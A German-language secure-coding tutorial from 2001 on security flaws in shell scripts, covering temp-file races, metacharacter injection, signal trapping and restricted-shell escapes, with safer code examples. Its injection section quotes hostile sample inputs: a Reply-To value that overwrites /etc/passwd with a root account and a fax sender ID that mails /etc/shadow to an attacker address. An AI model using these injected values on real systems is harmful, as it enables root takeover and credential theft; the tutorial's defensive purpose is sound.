

Sicherheitsrelevante Programmierfehler (Teil 7)

[Thomas Biege](#)

Inhaltsverzeichnis

- [Shell Skripte](#)
 - [Dateisystem](#)
 - [Usereingaben/nicht-vertrauenswürdige Daten](#)
 - [Signale](#)
 - [Sonstiges](#)

Shell Skripte

Shell Skripte übernehmen in der Regel kleine, häufig wiederkehrende Aufgaben im System. Sie finden nur Anwendung im Netzwerk-/Server-Bereich, und dann nur als CGI Skripte oder kleine Parser oder Helferwerkzeuge beim Verarbeiten von Daten. Shell Skripte dürfen nicht mit höheren Privilegien versehen werden, da ihr sicherer Ablauf aufgrund der mächtigen Shell-Sprachen nicht garantiert werden kann. Falls ein Skript aber doch mit erhöhten Privilegien ausgestattet wurde, dann wird es von modernen Kommando-Shell's oft verworfen. Da die Aufgaben, die Shell Skripte zu erledigen haben, aber zum großen Teil root-Rechte benötigen, wird es z.B. als Benutzer root in den *Bootskripten*, als *Cron-Job* oder über *sudo* aufgerufen; somit sind keine *SetUID/-GID Bits* nötig, aber die notwendigen Rechte trotzdem vorhanden.

Shell Skripte sind immer dann Gefahren ausgesetzt, wenn sie mit Usereingaben oder öffentlichen Verzeichnissen arbeiten müssen. Speicherüberläufe sind in Shellsprachen keine Bedrohung.

Dateisystem

Beim Anlegen von **Temporären Dateien** bestehen dieselben Gefahren (*Link-Attacken, Race Conditions*) wie bei C/C++ auch.

Folgende Methoden sind unsicher:

```
[...]
TMPFILE=/var/tmp/myfile.$$

echo "some data" > $TMPFILE
echo "some more data" >> $TMPFILE
[...]
```



```
[...]
TMPFILE=/var/tmp/myfile.$$

touch $TMPFILE
echo "add some data" >> $TMPFILE
[...]
```

Wird das Skript z.B. beim Booten ausgeführt, also mit root-Rechten, dann kann ein Angreifer durch einfaches Setzen von (symbolischen) Links Dateien seiner Wahl überschreiben. Enthalten die Dateien zudem sensible Daten, z.B. *CHAP/PAP* Paßwörter für *PPP*, dann ist es unter Umständen möglich, daß die Daten von jederman gelesen werden können.

Es gibt drei verschiedene Möglichkeiten, um Dateien in öffentlichen Verzeichnissen sicher zu erzeugen:

1. *mktemp(1)* von *OpenBSD* (auch andere Systeme, z.B. *Linux*)

```
[...]  
TMPFILE=`/bin/mktemp -q /var/tmp/myfile.XXXXXX` || exit 1  
  
echo "data" > $TMPFILE  
[...]
```

Mit *mktemp(1)* lassen sich auch Verzeichnisse und nicht nur Dateien erzeugen, zudem legt *mktemp(1)* die Datei bzw. das Verzeichnis mit den Rechten 0600 bzw. 0700 an, sodaß nur der Besitzer Zugriff darauf hat.

2. ein eigenes Verzeichnis

```
[...]  
umask 0077 # just to be on the save side  
TMPDIR=/tmp/mydir.$$  
  
/bin/rm -rf $TMPDIR  
/bin/mkdir -m 0700 $TMPDIR || exit 1  
[...]
```

In dem Verzeichnis können nun sicher Dateien erzeugt werden.

3. *noclobber* Option bei Kommandoshells (nicht von allen unterstützt)

```
#!/bin/bash  
[...]  
/bin/TMPFILE=/tmp/myfile.$$  
  
/bin/rm -rf $TMPFILE  
  
set -o noclobber  
> $TMPFILE || exit 1  
set +o noclobber  
[...]
```

Ist die Option *noclobber* nicht gesetzt, dann dürfen bereits existierende Dateisystemeinträge nicht überschrieben werden, d.h. entfernen wir die *noclobber* Option, dann können wir die Datei nur erstellen, wenn sie nicht existiert!

Usereingaben/nicht vertrauenswürdige Daten

Shells besitzen sogenannte Meta-Zeichen, die dazu benutzt werden können, um Programme zu starten:

Backtick: `<Programm>`

Cmd Sub: \$(<Programm>)

Pipe: |<Programm>

Semikolon: ;<Programm>

Ampersand: &<Programm>

exec(1): exec <Programm>

eval(1): eval <shell code>

Weitere

Sobald ein Shell Skript diese Zeichen aus den Daten einer nicht vertrauenswürdigen Quelle auf Shellebene verarbeitet, ohne sie durch ein *Escape-Zeichen*, wie Backslash \ oder Anführungsstriche " bzw. ', unschädlich zu machen, kann ein Angreifer Programme auf dem Zielsystem ausführen. Zu den gefährlichen Quellen gehören nicht nur Netzdaten, Keyboardeingaben oder Dateinhalte, sondern natürlich auch Dateinamen.

Als Beispiel wird hier ein alter Bug in *AMaViS* vorgestellt. *AMaViS* ist ein Viren-Scanner für E-Mails, der unter *Linux* läuft.

Folgender Codeausschnitt enthält den Fehler:

```
[...]
cat <<EOF| ${mail} -s "VIRUS IN YOUR MAIL TO $7" $2

V I R U S A L E R T

Our viruschecker found a VIRUS in your email to "$7".
We stopped delivery of this email!

Now it is on you to check your system for viruses

For further information about this viruschecker see:
http://aachalon.de/AMaViS/
AMaViS - A Mail Virus Scanner, licenced GPL

EOF
[...]
```

Enthält eine E-Mail einen Virus, dann ist dieser Abschnitt dafür verantwortlich, daß mit Hilfe des Programms *mail* eine E-Mail mit einer Warnung an den Absender geschickt wird. Als Empfängeradresse wird *Reply-To* aus dem *E-Mail Header* benutzt, der sich in der Variablen *\$2* wiederfindet. Nun kann ein Angreifer als *Reply-To* zum Beispiel *\$(echo "evil:0:0:Boese:/:/bin/bash" > /etc/passwd)@evil.org* wählen. Durch den Aufruf von *mail* wird nun *echo "evil:0:0:Boese:/:/bin/bash" > /etc/passwd* ausgeführt. Da das Skript zu diesem Zeitpunkt mit root-Rechten läuft, kann der Angreifer nur mit Hilfe einer E-Mail, die einen Virus enthält, ein eigenes Benutzerkonto, das ebenfalls root-Zugriff gewährt, einrichten.

Ein weiteres Beispiel ist der Fax-Server Hylafax. Wenn ein Angreifer als Fax Absender-ID beispielsweise *mail hax0r@looser.org < /etc/shadow* angibt, dann wird dieser Befehl im Verlauf des Programms ausgeführt und der Angreifer bekommt eine Kopie der Shadow-Datei als E-Mail zugeschickt.

Zum Stopfen dieses Sicherheitslochs wurde damals ein Patch angeboten, das die **Meta-Zeichen** aus den Adressen entfernt. Besser ist es, nur die erlaubten Zeichen passieren zu lassen. Wenn man sich nicht sicher ist, was erlaubt ist oder nicht, dann sollte man einen Blick in die **Request For Comments**, kurz **RFC**, werfen, die den Quasi-Standard für Protokolle und Verhaltensweisen im Internet darstellen.

Folgender Shell Code könnte als Patch dienen:

```
[...]
CHECK=${1//[0-9a-zA-Z]/}

if [ "$CHECK" = "" ]; then
    echo "Alles bestens!"
else
    echo "Namespace nicht sauber!"
    exit 1
fi
[...]
```

Signale

Häufiger versuchen Administratoren, den Zugang zu ihrem System auf Shellebene zu verhindern, z.B. bei Mail oder FTP Servern.

Dafür werden oft Shell-Skripte als *Login-Shell* benutzt, die beim Einloggen ins System den Benutzer darüber informieren, daß das interaktive Einloggen nicht erlaubt ist.

Oder es werden andere Skripte oder Programme aus dem Login-Shell-Skript gestartet, um beispielsweise dem Benutzer zu erlauben, sein Paßwort zu ändern.

Ein Angreifer kann nun versuchen, über dieverse Signale das aufgerufene Programm abzurechnen, um auf die Kommandoshell-Ebene zu gelangen. Um das zu verhindern, müssen die entsprechenden Signale abgefangen und die Login-Session beendet werden.

Beispiel:


```
[...]
trap "echo 'Good Bye';exit 0" 1 2 3 4 5 6 7 8 9 10 11 12 13
                                14 15 16 23 24 25 26 27
[...]
```

Sonstiges

Viel bleibt nicht mehr zu sagen.

Man sollte immer den vollen Pfadnamen für das Aufrufen von Kommandos und bei Verwendung von Dateinamen benutzen. Wenn es ein Angreifer gelingt, die Programmumgebung, wie z.B die Environment-Variable *PATH* zu ändern, kann er seine Programme von dem Skript aufrufen lassen. Bei älteren Shells ist auf die IFS-Variable zu achten.

Wenn man Shell-Skripte benutzt, um interaktive Login-Sessions auf wenige, ausgewählte Programme zu restringieren, dann sollte man sich diese Programme genau angucken. Viele Unix-Programme bieten

die Möglichkeit, über bestimmte Zeichenfolgen, z.B. ~! oder !, Shell-Kommandos auszuführen. Sollte man also dem Benutzer erlauben, sich die *Man-Page* von *passwd(1)* anzugucken, bevor er sein Paßwort ändert, dann sollte man sich darüber im Klaren sein, daß *man(1)* zum Anzeigen der Man-Pages das Programm *less(1)* benutzt. Der Angreifer kann  einfach Programme starten, indem er bei der Benutzung von *less(1)* *!<Programm>* eintippt.

LinuxKP.org 13.06.2001